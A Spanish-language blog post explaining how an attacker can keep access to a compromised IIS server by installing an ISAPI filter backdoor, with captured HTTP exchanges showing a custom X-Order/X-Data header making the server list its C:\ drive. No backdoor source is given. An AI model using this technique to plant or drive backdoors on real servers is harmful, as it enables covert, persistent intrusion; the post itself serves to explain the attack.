Archivo

viernes, 19 de agosto de 2011

Creando una Backdoor silenciosa en IIS


     Imaginemos un hipotético caso, donde se halla comprometido un servidor Windows con IIS, ahora el atacante tiene que realizar un ultimo "retoque" al servidor para poder asegurarse futuros accesos, en otra palabras, el chico malo instalara una backdoor.

     Internet Information Service es uno de los servidores webs de Microsoft, y uno de los mas populares que existen en la red de redes, IIS viene acompañado de APIs especiales, para hacerle la vida mas amena al desarrollador, estas herramientas son las famosas ISAPI (Internet Server Application Programming Interface).

     ISAPI cuenta con dos tipos de componentes:

  • Extensiones: son aplicaciones que corren sobre IIS y pueden ser accedidas de la misma manera que las paginas estáticas, p.e. http://<web>/<extencion>
  • Filtros: permiten realizar mejoras a las funcionalidades de IIS, siempre serán ejecutadas por el servidor filtrando cada petición (http) que se realice en el mismo


     Una interesante forma de crear una backdoor en IIS es hacer uso de estos Filtros, y no utilizar Extensiones porque son "mas ruidosas" ya que se debería utilizar una URL especifica cada vez que queramos hacer uso de nuestra backdoor, la cual quedaría registrada en los logs. En cambio, al utilizar filtros no es necesario acceder a una URL fija, sino que, al llamar a cualquier pagina del servidor con una petición especial nuestra backdoor entraría en funcionamiento.

     Veamos como estan organizados internamente los filtros en la memoria del servidor ...


para implementar la backdoor, básicamente julien propone agregar un nuevo filtro que este a la espera de una peticion especial y disparar la dll que hayamos cargado previamente.




entonces, al realizar una petición a una web cualquiera del servidor comprometido, p.e. http://<web>/pwet.html la respuesta del servidor seria ...
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
hasta aquí, nada raro... pero ahora realicemos una nueva petición a la misma pagina, pero esta vez mandaremos nuestra cabecera especial, de forma tal que el filtro la encuentre y nos de una respuesta, en el ejemplo de abajo, mandaremos la orden ListDir (X-Order: ListDir) y especificaremos el parámetro C:\ (X-Data: Qzpc) codificado en Base64 =)
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub

Para mas información:

http://esec-lab.sogeti.com/post/2011/02/02/IIS-Backdoor
http://technet.microsoft.com/es-es/library/cc733109(WS.10).aspx

No hay comentarios: